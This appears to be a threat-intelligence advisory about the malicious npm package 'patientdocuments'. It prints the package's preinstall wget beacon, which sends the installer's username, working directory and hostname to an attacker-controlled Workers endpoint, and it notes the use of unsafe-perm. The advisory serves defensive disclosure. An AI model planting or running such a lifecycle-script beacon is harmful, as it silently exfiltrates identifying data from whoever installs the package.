Supply-chain threat intelligence

Incident detail

criticalnpm·credential theft·osv

Malicious code in patientdocuments (npm)

patientdocuments

Risk score

92

AI summary

Indexed incident for patientdocuments (npm).

Description

package.json declares a preinstall lifecycle script that runs wget --quiet "http://orwa-orwa.dev-node-lap.workers.dev/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)", firing automatically on npm install. The script leaks the installer's OS username, current working directory, and hostname to an attacker-controlled Cloudflare Workers endpoint over plain HTTP. The same beacon is duplicated in the test and preupdate scripts. The package ships no library code (no main module shipped), so its sole effect is the recon beacon. unsafe-perm is set, ensuring execution as root in privileged install contexts. This is a dependency-confusion / recon-beacon pattern: identity exfiltration with no legitimate purpose tied to the package's advertised function.

Technical details

Affected versions

=75.0.0

Indicators

  • affected version=75.0.075%

Timeline

  1. Advisory published
  2. Indexed by ThreatPkg

Related incidents